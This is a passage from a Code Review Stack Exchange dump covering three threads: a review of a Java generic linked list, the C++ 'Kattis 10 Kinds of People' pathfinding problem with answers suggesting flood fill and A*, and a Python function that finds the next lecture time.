throw new Exception("List is empty");
}
}
catch(Exception e)
{
System.out.println(e);
return;
}
size--;
Node<T> ptr = head;
Node<T> ptr2 = ptr;
while(ptr.next != null)
{
ptr2 = ptr;
ptr = ptr.next;
}
if(ptr2.next == null)
{
head = null;
} else {
ptr2.next = null;
}
}
//Set method
//receives a position and item as parameters, sets the element at this
// position, provided it is within the current size
private void set(T item, int position) throws Exception
{
//Check if position exceeds size
try {
if (position > size) {
throw new Exception("Position exceeds list size");
}
}
catch(Exception e)
{
System.out.println(e);
return;
}
Node<T> ptr = head;
for(int i = 1; i < position; i++)
{
ptr = ptr.next;
}
ptr.value = item;
}
//Get method
//receives a position as a parameter, returns the item at this position,
// provided it is within the current size
private T get(int position) throws Exception
{
//Check if position exceeds size
try {
if (position > size || size == 0 || position <= 0) {
throw new Exception("Invalid position");
}
}
catch(Exception e)
{
System.out.println(e);
//Must return something
return null;
}
Node<T> ptr = head;
for(int i = 1; i < position; i++)
{
ptr = ptr.next;
}
return ptr.value;
}
//Swap method
//receives two index positions as parameters, and swaps the nodes at
// these positions, provided both positions are within the current size
private void swap(int position, int position2) throws Exception
{
//Check if positions exceeds size
try {
if (position > size || position2 > size) {
throw new Exception("Invalid position");
}
}
catch(Exception e)
{
System.out.println(e);
return;
}
//Instead of swapping arrows, swap the values
T temp = get(position);
T temp2 = get(position2);
set(temp2, position);
set(temp, position2);
}
//Shift method
// receives an integer as a parameter, and shifts the list forward or
// backward this number of nodes, provided it is within the current size
private void shift(int shift) throws Exception
{
//Note: you can include two different exceptions in a try
try {
if (size <= 1) {
throw new Exception("List is empty");
}
if(shift >= size || shift * -1 >= size)
{
throw new Exception("Invalid shift amount");
}
}
catch(Exception e)
{
System.out.println(e);
return;
}
//Convert a negative shift to a positive value
if(shift < 0)
{
shift += size;
}
Node<T> ptr = head;
Node<T> prevPtr = ptr;
Node<T> tailPtr = head;
//Find the tail
while(tailPtr.next != null)
{
tailPtr = tailPtr.next;
}
//Have tail point to head
tailPtr.next = head;
//Advance pointers by shift amount to find new list head node and new tail node
for(int i = 0; i < shift; i++)
{
prevPtr = ptr;
ptr = ptr.next;
}
//Set head pointer
head = ptr;
//Make new tail point to null
prevPtr.next = null;
return;
}
//Erase method
//receives an index position and number of elements as parameters, and
// removes elements beginning at the index position for the number of
// elements specified, provided the index position is within the size
// and together with the number of elements does not exceed the size
private void erase(int position, int numElements) throws Exception {
try {
if (position + numElements > size + 1) {
throw new Exception("Index exceeds list size");
}
}
catch(Exception e)
{
System.out.println(e);
return;
}
if(position == 1)
{
for(int i = 0; i < numElements; i++)
{
removeFront();
}
return;
}
if(position == size)
{
removeEnd();
return;
}
Node<T> ptr = head;
Node<T> prevPtr = head;
for(int i = 1; i < position; i++)
{
prevPtr = ptr;
ptr = ptr.next;
}
for(int i = 0; i < numElements - 1; i++)
{
ptr = ptr.next;
}
prevPtr.next = ptr.next;
size = size - numElements;
return;
}
//RemoveMatching method
//receives a value of the generic type as a parameter and removes all
// occurrences of this value from the list.
private void removeMatching(T item) throws Exception {
Node<T> ptr = head;
//System.out.println("Size is: " + size);
for(int i = 1; i < size + 1; i++)
{
//System.out.println("Size in FOR loop is : " + size);
//System.out.println("Looking at position: " + i + ", value: " + ptr.value);
if(item == ptr.value)
{
ptr = ptr.next;
erase(i, 1);
i--;
} else {
ptr = ptr.next;
}
}
return;
}
//InsertList method
//receives a generic List (a Java List) and an index position as parameters,
// and copies each value of the passed list into the current list starting
// at the index position, provided the index position does not exceed the size.
// For example, if list has a,b,c and another list having 1,2,3 is inserted at
// position 2, the list becomes a,b,1,2,3,c
private void insertList(GenLinkedList list, int position) throws Exception
{
try {
if (position > size) {
throw new Exception("Invalid position");
}
if(list.size == 0){
throw new Exception("New list is empty");
}
}
catch(Exception e)
{
System.out.println(e);
return;
}
Node<T> ptr = head;
Node<T> nextPtr = ptr.next;
if(position == 0)
{
Node<T> listPtr = list.head;
for(int i = 1; i < list.size; i++)
{
listPtr = listPtr.next;
}
listPtr.next = head;
size = size + list.size;
head = list.head;
return;
}
for(int i = 1; i < position; i++)
{
ptr = ptr.next;
nextPtr = ptr.next;
}
Node<T> listPtr = list.head;
ptr.next = list.head;
for(int i = 1; i < list.size; i++)
{
listPtr = listPtr.next;
}
listPtr.next = nextPtr;
size = size + list.size;
return;
}
//Print method
private void print()
{
Node<T> ptr = head;
for(int i = 0; i < size; i++)
{
System.out.println(ptr.value);
ptr = ptr.next;
}
return;
}
public static void main(String args[]) throws Exception {
//Test constructor, addFront, and addEnd. Created a print function for ease of testing.
GenLinkedList<Integer> jensList = new GenLinkedList<>();
jensList.addFront(5);
jensList.addFront(3);
jensList.addFront(4);
jensList.addFront(2);
jensList.addFront(1);
jensList.addEnd(4);
jensList.addEnd(4);
jensList.addEnd(6);
jensList.addEnd(7);
System.out.println("Original list is: ");
jensList.print();
System.out.println();
//Test removeFront and removeEnd
jensList.removeFront();
jensList.removeEnd();
System.out.println("List updated to remove front and end: ");
jensList.print();
System.out.println();
//Test set
jensList.set(1, 1);
System.out.println("List updated to set the first node value to 1: ");
jensList.print();
System.out.println();
//Test get
System.out.println("Get method finds the value of the second node: " + jensList.get(2));
System.out.println();
//Test swap
jensList.swap(4, 3);
System.out.println("Swap node positions 3 and 4: ");
jensList.print();
System.out.println();
//Test removeMatching
jensList.removeMatching(4);
System.out.println("Remove nodes with value 4: ");
jensList.print();
System.out.println();
//Test erase
jensList.erase(2, 2);
System.out.println("Erase 2 nodes starting at position 2: ");
jensList.print();
System.out.println();
//Create a second list and test insertList
GenLinkedList<String> list2 = new GenLinkedList<>();
list2.addFront("c");
list2.addFront("b");
list2.addFront("a");
System.out.println("List2 is: ");
list2.print();
System.out.println();
jensList.insertList(list2, 1);
System.out.println("Original list combined with List2 is:");
jensList.print();
//Test shift
System.out.println("Shift the list by +2:");
jensList.shift(2);
jensList.print();
System.out.println();
System.out.println("Shift the list by -2:");
jensList.shift(-2);
jensList.print();
System.out.println();
//The following tests exceptions with try-catch to prevent crashing
//GenLinkedList<Integer> emptyList = new GenLinkedList<>();
//emptyList.removeFront();
//emptyList.removeEnd();
//emptyList.set(2, 1);
//emptyList.get(0);
//jensList.get(0);
//emptyList.swap(1,2);
//jensList.swap(6,7);
//emptyList.shift(3);
//jensList.shift(9001);
//jensList.insertList(list2, 12);
//jensList.shift(-5);
//System.out.println("New jenslist is : ");
//jensList.print();
}
}
<span class="math-container">```</span>
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T15:26:46.763",
"Id": "489462",
"Score": "0",
"body": "Operations like `addEnd` and `removeEnd` and basically all operations that accept a position, have time complexity O(n) and they don't belong on a singly linked list. If these operations are needed, a different data structure, ie doubly linked list, should be used instead."
}
] |
[
{
"body": "<p><a href=\"https://en.wikipedia.org/wiki/Javadoc\" rel=\"nofollow noreferrer\">Javadoc</a>.</p>\n<hr />\n<p>Your formatting is off. Use an automatic-formatter (configured as you'd like it) and always format your code with that.</p>\n<hr />\n<p>If you feel bored, you can ask yourself whether this should be thread-safe or not.</p>\n<hr />\n<p>Maybe implementing a standard Java interface would be off benefit here, like <code>List</code>.</p>\n<hr />\n<p>If you haven't done so, write unit tests for this. This is a <em>perfect</em> class for exercising writing unit tests.</p>\n<hr />\n<p>You don't need to return at the end of <code>void</code> methods.</p>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code>public class GenLinkedList<T> {\n</code></pre>\n<p>Stop shortening words and names just for the sake of it, it makes the code harder to read and maintain.</p>\n<p>The same goes for this:</p>\n<pre class=\"lang-java prettyprint-override\"><code> Node<T> ptr = head;\n Node<T> ptr2 = ptr;\n</code></pre>\n<p>The names are completely useless. They should be something like <code>lastNode</code> and <code>secondToLastNode</code>.</p>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code>int size = 0;\n</code></pre>\n<p>I'm not a fan of <code>package-private</code> variables. They might be used to introduce unhealthy coupling between components.</p>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code> public void addEnd(T item)\n</code></pre>\n<p>You're not checking whether <code>item</code> is <code>null</code>, which would explode your implementation in one way or the other.</p>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code> public void removeFront() throws Exception {\n\n try {\n\n if (head == null) {\n throw new Exception("List is empty");\n }\n\n }\n catch(Exception e){\n System.out.println(e);\n return;\n }\n\n head = head.next;\n size--;\n }\n</code></pre>\n<p>Your exception handling here doesn't make any sense. First, try to avoid throwing or declaring <code>Exception</code>, use appropriate exceptions. For example an <code>IllegalStateException</code> or an <code>IndexOutOfBoundsException</code>. Second, you're throwing an exception just to catch it, print it to stdout and then return. Third, don't print to stdout from utility/"library" classes, either throw exceptions and let the caller deal with showing the message, or use an appropriate logger.</p>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code> size--;\n Node<T> ptr = head;\n Node<T> ptr2 = ptr;\n\n while(ptr.next != null)\n {\n ptr2 = ptr;\n ptr = ptr.next;\n }\n\n if(ptr2.next == null)\n {\n head = null;\n } else {\n ptr2.next = null;\n }\n</code></pre>\n<p>You could do some form of peeking in the loop, something like this:</p>\n<pre class=\"lang-java prettyprint-override\"><code>if (head.next == null) {\n head = null;\n} else {\n Node<T> secondToLastNode = head;\n \n while(secondToLastNode.next != null && secondToLastNode.next.next != null {\n secondToLastNode = secondToLastNode.next;\n }\n \n secondToLastNode.next = null;\n}\n</code></pre>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code> //Check if position exceeds size\n try {\n if (position > size) {\n throw new Exception("Position exceeds list size");\n }\n }\n catch(Exception e)\n {\n System.out.println(e);\n return;\n }\n</code></pre>\n<p>Perfect place for an <code>IndexOutOfBoundsException</code>.</p>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code> if (position > size || size == 0 || position <= 0) {\n</code></pre>\n<p>Why is 0 an invalid index?</p>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code>if(shift >= size || shift * -1 >= size)\n</code></pre>\n<p>You can negate even variables by prefixing them with a minus.</p>\n<pre class=\"lang-java prettyprint-override\"><code>if(shift >= size || -shift >= size)\n</code></pre>\n<p>But actually, you want to use <code>Math.abs</code>.</p>\n<pre class=\"lang-java prettyprint-override\"><code>if(Math.abs(shift) >= size)\n</code></pre>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code> //InsertList method\n //receives a generic List (a Java List)...\n</code></pre>\n<p>That's not correct.</p>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code> //Print method\n private void print()\n {\n Node<T> ptr = head;\n for(int i = 0; i < size; i++)\n {\n System.out.println(ptr.value);\n ptr = ptr.next;\n }\n return;\n }\n</code></pre>\n<p>That should not be in your class, it should not be concerned with printing itself to stdout.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T05:21:07.473",
"Id": "489510",
"Score": "0",
"body": "Also `main` function should not be part of the class :)"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T16:04:17.833",
"Id": "249631",
"ParentId": "249627",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T15:02:37.067",
"Id": "249627",
"Score": "3",
"Tags": [
"java",
"performance",
"linked-list"
],
"Title": "Java Singly-linked List: how to be efficient and clean"
}
|
249627
|
<p>I am trying to solve the open kattis problem '10 kinds of people' (<a href="https://open.kattis.com/problems/10kindsofpeople" rel="nofollow noreferrer">https://open.kattis.com/problems/10kindsofpeople</a>) using a best-first search algorithm and c++.</p>
<blockquote>
<p><strong>10 Kinds of People</strong></p>
<p>The world is made up of 10 kinds of people, those who understand binary and those who do not. These different kinds of people do not always get along so well. Bob might ask for a 10000 ounce coffee (meaning binary) and Alice might make misinterpret his request as being in decimal and give him a 10011100010000 ounce coffee (binary). After Sue explains that this much coffee costs 100 dollars (decimal), Bob might assume he only has to pay 4 dollars (interpreting the price as being in binary). In response to these differences that are difficult to resolve, these two groups have divided the world into two regions, the binary-friendly zones and the decimal-friendly zones. They have even published a map like the following to help people keep up with where the areas are (they have used ones and zeros so nobody would have trouble reading it).<br />
1111100000<br />
1111000000<br />
1110000011<br />
0111100111<br />
0011111111</p>
<p>Users of binary have to stay in the zones marked with a zero. Users of decimal have to stay in the zones marked with a one. You have to figure out if it is possible for either type of person to get between various locations of interest. People can move north, south, east or west, but cannot move diagonally.</p>
<p><strong>Input</strong></p>
<p>Input starts with a line containing two positive integers, 1 ≤ r ≤1000 and 1 ≤ c ≤ 1000. The next r input lines give the contents of the map, each line containing exactly c characters (which are all chosen from 0 or 1). The next line has an integer 0≤n≤1000. The following n lines each contain one query, given as four integers: r1,c1 and r2,c2. These two pairs indicate two locations on the map, and their limits are 1 ≤ r1, r2 ≤r and 1 ≤ c1, c2 ≤c.</p>
<p><strong>Output</strong></p>
<p>For each query, output binary if a binary user can start from location r1, c1 and move to location r2,c2. Output decimal if a decimal user can move between the two locations. Otherwise, output neither.</p>
</blockquote>
<p>The task is to find if there is a path between the start and end points on a map for a given set of problems.</p>
<p>I initially tried using just BFS but got the TLE error, then I tried using the manhattan distance heuristic and selecting the best frontier first. To save time I am checking if the start and end node are of the same type before running the algorithm, if they are not there will be no path. I also use a map containing information about each node to avoid looping through the frontier and visited vectors for simple checks. However I still get the TLE error.</p>
<p>I would really like some input on what I can do to optimize my code below, or what your thoughts are. Thank you very much.</p>
<pre><code> #include <vector>
#include <map>
#include <string>
#include <iostream>
#include <deque>
using namespace std;
struct map_node {
bool in_visited = false;
bool in_frontier = false;
};
void read_input(vector<vector<char>>& map, vector<pair<unsigned, unsigned>>& start_points, vector<pair<unsigned, unsigned>>& end_points) {
//read map
int r = 0, c = 0;
cin >> r >> c;
char val;
map.resize(r);
for (int i = 0; i < r; i++) {
for (int j = 0; j < c; j++) {
cin >> val;
map.at(i).push_back(val);
}
}
//read start and end coordinates
int n = 0;
cin >> n;
int r1, c1, r2, c2;
for (int i = 0; i < n; i++) {
cin >> r1 >> c1 >> r2 >> c2;
start_points.push_back(make_pair(r1 - 1, c1 - 1));
end_points.push_back(make_pair(r2 - 1, c2 - 1));
}
}
int manhattan_distance(pair<unsigned int, unsigned int> node, pair<unsigned int, unsigned int> end_point) {
int x_distance = end_point.first - node.first;
x_distance = abs(x_distance);
int y_distance = end_point.second - node.second;
y_distance = abs(y_distance);
return x_distance + y_distance;
}
pair<unsigned int, unsigned int> select_best_from_frontier_and_pop(deque<pair<unsigned int, unsigned int>>& frontiers, pair<unsigned int, unsigned int> end_point) {
int lowest = manhattan_distance(frontiers.at(0), end_point);
deque<pair<unsigned int, unsigned int>>::iterator best_node = frontiers.begin();
for (deque<pair<unsigned int, unsigned int>>::iterator it = frontiers.begin(); it != frontiers.end(); ++it)
{
int score = manhattan_distance(*it, end_point);
if (score < lowest) {
lowest = score;
best_node = it;
}
}
pair<unsigned int, unsigned int> temp = *best_node;
frontiers.erase(best_node);
return temp;
}
vector <pair<unsigned, unsigned>> predecessors(vector<vector<char>> map, pair<unsigned int, unsigned int> node) {
vector <pair<unsigned, unsigned>> predecessors;
//binary if map value is 0 else decimal
char check_val = map.at(node.first).at(node.second);
//check left
if (node.second > 0) {
if (map.at(node.first).at(node.second - 1) == check_val)
predecessors.push_back(make_pair(node.first, node.second - 1));
}
//check right
if (node.second < map.at(0).size() - 1) {
if (map.at(node.first).at(node.second + 1) == check_val)
predecessors.push_back(make_pair(node.first, node.second + 1));
}
//check down
if (node.first < map.size() - 1) {
if (map.at(node.first + 1).at(node.second) == check_val)
predecessors.push_back(make_pair(node.first + 1, node.second));
}
//check up
if (node.first > 0) {
if (map.at(node.first - 1).at(node.second) == check_val)
predecessors.push_back(make_pair(node.first - 1, node.second));
}
return predecessors;
}
string solve(vector<vector<char>> map, pair<unsigned, unsigned> start, pair<unsigned, unsigned> end) {
deque<pair<unsigned int, unsigned int>> frontiers;
std::map<pair<int, int>, map_node> map_nodes;
frontiers.push_back(start);
map_nodes[{start.first, start.second}].in_frontier = true;
vector<pair<unsigned int, unsigned int>> visited;
while (true) {
//fail
if (frontiers.size() == 0)return "neither";
//get and pop first in frontiers
pair<unsigned int, unsigned int> node = select_best_from_frontier_and_pop(frontiers, end);
visited.push_back(node);
map_nodes[{node.first, node.second}].in_frontier = false;
map_nodes[{node.first, node.second}].in_visited = true;
//goal test
if (node.first == end.first && node.second == end.second) {
if (map.at(end.first).at(end.second) == '0') {
return "binary";
}
else {
return "decimal";
}
}
//for each predecessor
for (const auto &next : predecessors(map, node)) {
if (map_nodes[{next.first, next.second}].in_frontier == false && map_nodes[{next.first, next.second}].in_visited == false) {
frontiers.push_back(next);
map_nodes[{next.first, next.second}].in_frontier = true;
}
}
}
}
int main() {
vector<vector<char>> map;
vector<pair<unsigned, unsigned>> start_points;
vector<pair<unsigned, unsigned>> end_points;
read_input(map, start_points, end_points);
for (size_t i = 0; i < start_points.size(); i++) {
if (map[start_points.at(i).first][start_points.at(i).second] == map[end_points.at(i).first][end_points.at(i).second]) {
cout << solve(map, start_points.at(i), end_points.at(i)) << endl;
}
else {
cout << "neither" << endl;
}
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T16:19:40.870",
"Id": "489465",
"Score": "2",
"body": "When posting a programming challenge, please include the text of the challenge as well as the link because links can go bad."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T20:11:20.433",
"Id": "489485",
"Score": "1",
"body": "This is a variation of `Dijkstra algorithm`. Though you can use state between searches so you don't need to start from scratch each time. In these program test sites `Dijkstra algorithm` is a common solution to do well you should learn it. A variation that might do better for this type of situation is `A*`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T00:40:15.047",
"Id": "489501",
"Score": "1",
"body": "@MartinYork, actually, this is an exercise in lateral thinking. Nowhere does it state that you are required to actually find the path, you are just required to figure out if one exists (a much faster operation)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T05:56:28.627",
"Id": "489511",
"Score": "1",
"body": "@Mark I already understand this. Does not change my comment. The lateral thinking here is adapting the algorithm to make it work for the situation. The difference here is you don't need the path you need the boundary list (which is basically the fundamental part of Dijkstra). You expand the boundary until it can't be extended or your find the destination."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T19:05:04.377",
"Id": "489736",
"Score": "1",
"body": "@Mark Yep it was a Dijkstra problem: https://open.kattis.com/submissions/6141112"
}
] |
[
{
"body": "<p>Most obvious optimizations - check if start point and end point are the same. If they are differs then neither of citizens can move.</p>\n<p>Second - flatten your map. You can have just one contiguous vector size of <code>r</code>*<code>c</code> elements and points can be "flattened" to index as <code>point.x + width * point.y</code>.\nSo flattening map allows you to flatten your start points and end points as well.\nThis will shorten memory print overall.</p>\n<p>Instead of BFS with deque use A* <code>priority_queue</code> with the same manhattan heuristic as priority. It will walk less cells when paths exists. Also use <a href=\"https://en.cppreference.com/w/cpp/container/set\" rel=\"nofollow noreferrer\">set</a> for points you've already visited instead of vector. As even further improvement you can try to make bidirectional and search from both ways.</p>\n<p><code>predecessors</code> function do allocations on every tick. it's better if you have reserved vector and just update it's content, not create it anew.\nsomething like</p>\n<pre class=\"lang-cpp prettyprint-override\"><code>//somewhere up\nvector& pred;\npred.reserve(4);// nwse points\n...\nvoid predecessors(vector& pred, point pos) {\n pred.clear();// zeroes memory\n if (check1) pred.push_back(point);\n if (check2) pred.push_back(point);\n if (check3) pred.push_back(point);\n if (check4) pred.push_back(point);\n}\n</code></pre>\n<p>where checks are just comparing value of current pos and surrounding points.</p>\n<p>also for simplifying code introduce some simple <code>Point</code> struct instead of pair and add <code>to_index</code> helper and <code>operator+</code> to it. <code>point+Point{1,0};</code> is way cleaner then <code>make_pair(point.first+1, point.second);</code></p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T16:00:06.793",
"Id": "249630",
"ParentId": "249628",
"Score": "5"
}
},
{
"body": "<blockquote>\n<p>The task is to find if there is a path between the start and end points on a map for a given set of problems.</p>\n</blockquote>\n<p>That's the key to doing this efficiently: all you need to do is figure out if a path exists, you don't need to find out what that path is.</p>\n<p>An easy way to do this is to color the map: load the map into memory, then use the <a href=\"https://en.wikipedia.org/wiki/Flood_fill\" rel=\"nofollow noreferrer\">flood fill algorithm of your choice</a> (complexity O(N)) to convert each cluster of 1s or 0s into some other number. For ease of distinguishing binary regions from decimal regions, I'd use even numbers for binary regions and odd numbers for decimal regions.</p>\n<p>Once you've done that, finding the existence of a path is simply a matter of checking the color of the endpoints. If the endpoints have the same color, travel is possible; if they don't, it isn't.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T03:53:02.407",
"Id": "489508",
"Score": "1",
"body": "Why each cluster? You can color out just one cluster. Seeding at one of the ends. And you can even stop prematurely once you color out the other end."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T21:10:12.707",
"Id": "489615",
"Score": "0",
"body": "@slepic, you're asked to check up to a thousand routes per map. Partial coloring of a cluster means either discarding the coloring work after each route, or writing complicated code to deal with partial coloring of a cluster. Coloring clusters on an as-needed basis is a reasonable optimization if the number of clusters is greater than the number of routes, but if the number of routes is greater, it simply introduces complexity."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T00:38:29.463",
"Id": "249656",
"ParentId": "249628",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T15:04:16.020",
"Id": "249628",
"Score": "3",
"Tags": [
"c++",
"performance",
"algorithm",
"programming-challenge"
],
"Title": "10 Kinds of People Open Kattis Problem Time Limit Exceeded C++"
}
|
249628
|
<p>Often before the lecture starts, and occasionally in the break I like to display a timer with a countdown until the lectures starts/ resumes while playing some lofi-hip hop in the background. While the university students seems to enjoy this, I am ashamed of the code running the timer.</p>
<p>So my lecture schedules is as follows</p>
<pre><code>Monday: 10:15 -- 12:00
Wednesday: 12:15 -- 14:00
Thursday: 08:15 -- 10:00
</code></pre>
<p>I am interested in finding when my next lecture is in iso format. I did this using the code below and it works fine. E.g if the current time is <code>16:00</code> on a Thursday, the output should be Monday and 10:15. I commented out the actual timer, as it is not important.</p>
<ul>
<li><em><strong>Is there a better way / cleaner python code to obtain the date and time for my next lecture?</strong></em></li>
</ul>
<p>My attempt (which works, albeit a bit ugly) is as follows:</p>
<pre><code>from datetime import datetime, timedelta
from subprocess import call
# Format (day, hour, minute)
Lectures = [(0, 10, 15), (), (2, 12, 15), (3, 8, 15)]
def get_next_lecture(now=datetime.now()):
next_lecture = now.replace(minute=15, second=0, microsecond=0)
# monday = 0, tuesday = 1, ...
current_day = datetime.today().weekday()
current_hour = now.hour
lecture_day = current_day
correct_day = False
while not correct_day:
# If the day is tuesday, increment to wednesday
if current_day == 1:
lecture_day = current_day + 1
lecture_hour = Lectures[lecture_day][1]
lecture_minute = Lectures[lecture_day][2]
now += timedelta(days=1)
correct_day = True
# if the day is friday, increment to monday
elif current_day == 4:
lecture_day = 0
lecture_hour = Lectures[lecture_day][1]
lecture_minute = Lectures[lecture_day][2]
now += datetime.today() + timedelta(days=3)
correct_day = True
else:
# If it is not monday or friday, I have a lecture
# checks if the lecture is in the future, if else increment day and try again
if now.hour < Lectures[lecture_day][1]:
if now.minute < Lectures[lecture_day][2]:
lecture_hour = Lectures[lecture_day][1]
lecture_minute = Lectures[lecture_day][2]
correct_day = True
else:
current_day += 1
now += timedelta(days=1)
else:
current_day += 1
now += timedelta(days=1)
next_lecture = now.replace(
hour=lecture_hour, minute=lecture_minute, second=0, microsecond=0
)
return next_lecture
def launch_timer(time):
call(["termdown", time.isoformat()])
if __name__ == "__main__":
next_lecture = get_next_lecture()
print(lecture)
# launch_timer(next_lecture)
</code></pre>
|
[] |
[
{
"body": "<p>Your algorithm seems good, but the <code>while</code> loop, and <code>lecture_hour</code> and <code>lecture_minute</code> variables make your code a lot more complicated.</p>\n<p>If we KISS then a simple algorithm is to just remove <code>()</code> from <code>Lectures</code> and iterate through it, since it is sorted.\nThe first lecture that is after the current time is the lecture we want.</p>\n<p>This is nice and simple:</p>\n<pre class=\"lang-py prettyprint-override\"><code>import datetime\n\n\nLECTURES = [(0, 10, 15), (2, 12, 15), (3, 8, 15)]\n\n\ndef _get_next_lecture(now):\n today = (now.weekday(), now.hour, now.minute)\n for lecture in LECTURES:\n if today < lecture:\n return lecture\n\n\ndef get_next_lecture(now=None):\n if now is None:\n now = datetime.datetime.now()\n day, hour, minute = _get_next_lecture(now)\n return (\n now.replace(hour=hour, minute=minute, second=0, microsecond=0)\n + datetime.timedelta(day - now.weekday())\n )\n</code></pre>\n<p>From here we can see if the weekday is 4-6 then <code>_get_next_lecture</code> will return nothing and so will error.</p>\n<p>This is easy to solve, we just return the first lecture with <code>+7</code> days.</p>\n<pre class=\"lang-py prettyprint-override\"><code>def _get_next_lecture(now):\n today = (now.weekday(), now.hour, now.minute)\n for lecture in LECTURES:\n if today < lecture:\n return lecture\n day, hour, minute = LECTURES[0]\n return day + 7, hour, minute\n</code></pre>\n<p>With only 3 lectures there's not much point in optimizing further. However if you have more, here is some food for thought:</p>\n<ul>\n<li><p>You can use <a href=\"https://docs.python.org/3/library/bisect.html\" rel=\"nofollow noreferrer\">bisect</a> to find where to insert into in <span class=\"math-container\">\\$O(\\log n)\\$</span> time.</p>\n</li>\n<li><p>You can change <code>LECTURES</code> into a 7 item list with the weekday as the index and the lectures as the value (always as a list). From here you just find the date using either of the above algorithms.</p>\n<p>This would look like your <code>Lectures</code>. But with a list for each day.</p>\n<p>This has either <span class=\"math-container\">\\$O(d)\\$</span> or <span class=\"math-container\">\\$O(\\log d)\\$</span> time where <span class=\"math-container\">\\$d\\$</span> is the maximum amount of lectures in a day.</p>\n</li>\n</ul>\n<h1>Test code</h1>\n<pre class=\"lang-py prettyprint-override\"><code>def replace(date, changes):\n day, hour, minute = changes\n return date.replace(hour=hour, minute=minute) + datetime.timedelta(days=day)\n\n\ndef test(tests, bases, fn):\n for base in bases:\n date = base.replace(second=0, microsecond=0) - datetime.timedelta(days=base.weekday())\n for test, exp in tests:\n try:\n output = fn(replace(date, test))\n except Exception as e:\n print(f'❌ {test=}, {exp=}')\n print(' ', e)\n continue\n expected = replace(date, exp)\n try:\n assert output == expected\n except AssertionError:\n print(f'❌ {test=}, {exp=}')\n print(' ', date, output, expected)\n else:\n print(f'✔️ {test=}, {exp=}')\n\nTESTS = [\n [(0, 0, 0), (0, 10, 15)],\n [(0, 10, 10), (0, 10, 15)],\n [(0, 10, 15), (2, 12, 15)],\n [(0, 10, 20), (2, 12, 15)],\n [(1, 12, 20), (2, 12, 15)],\n [(1, 13, 20), (2, 12, 15)],\n [(2, 10, 0), (2, 12, 15)],\n [(2, 10, 14), (2, 12, 15)],\n [(2, 12, 15), (3, 8, 15)],\n [(3, 8, 15), (7, 10, 15)],\n]\nBASES = [\n datetime.datetime.now(),\n datetime.datetime(2020, 9, 1),\n datetime.datetime(2020, 10, 1) - datetime.timedelta(days=1),\n datetime.datetime(2020, 12, 1),\n datetime.datetime(2021, 1, 1) - datetime.timedelta(days=1),\n]\n\ntest(TESTS, BASES, get_next_lecture)\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T16:32:54.357",
"Id": "489468",
"Score": "0",
"body": "Great answer, gives me plenty to think about!\nI was contemplating using the actual weekday names `Monday`, `Tuesday` and then `Thursday`. As it would make it more readable than `0`, `2` and `3`. I can obtain the name of the current day using `now.strftime(\"%A\")`, however it seems harder to iterate over. Thoughts on this?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T16:38:05.043",
"Id": "489469",
"Score": "0",
"body": "@N3buchadnezzar You could change the last bullet point to \"a dictionary with the weekday name as the key ...\" and do that. I'd double check if `%A` is local aware, last thing you want is for it to spit out a non-English name because it's being too nice. (sorry can't remember which ones are) Otherwise it'd be alright, might make iterating a little harder tho if the current day has no lectures."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T17:10:20.273",
"Id": "489470",
"Score": "0",
"body": "@Pelionrayz There is something wrong with your code. You use day, but this returns the day of the month, you need to use `weekday()` =) \n\nIt also seems to fail for the current time? Did you actually test that the code returns the desired output? Seems to be a problem with the and statements"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T17:39:10.733",
"Id": "489473",
"Score": "0",
"body": "@N3buchadnezzar No I didn't test it. I fixed those issues now and another :) My test case is small so there may still be some hidden ones :)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T17:47:48.030",
"Id": "489474",
"Score": "0",
"body": "Wont this fail if the month switches? _Scratches head_"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T17:50:46.927",
"Id": "489475",
"Score": "0",
"body": "@N3buchadnezzar Why do you think months would effect this?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T18:08:57.193",
"Id": "489476",
"Score": "0",
"body": "`datetime.today().replace(day=28+7)` errors in `day is out of range for month`. Which is why I think we need to use `timedelta`? Or rather, that is why I choose to use `timedelta`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T18:32:38.700",
"Id": "489477",
"Score": "0",
